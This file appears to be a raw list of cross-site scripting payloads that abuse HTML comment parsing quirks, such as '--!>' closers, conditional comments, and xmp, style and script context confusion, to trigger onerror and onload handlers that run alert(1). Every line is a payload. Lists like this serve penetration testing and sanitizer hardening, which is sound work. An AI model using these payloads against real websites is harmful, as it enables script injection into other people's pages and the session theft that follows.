<!-- `<img/src=xx:xx onerror=alert(1)//--!>
<!-- " --!><input value="><img src=xx:x onerror=alert(1)//">
<![if<iframe/onload=vbs::alert[:]>
<![<img src=x:x onerror=alert(1)//]-->
<style>//<!--</style> -->*{x:expression(alert(URL=3))}//<style></style>
<xmp><!--</xmp><img src="//mmme.me#--></xmp><img src=xx:x onerror=alert(1)//"/>
<!-- --!><input value="--><body/onload=alert(1)//">
<script>/*<!--</script>-->*/alert(1)/*<script>*/</script>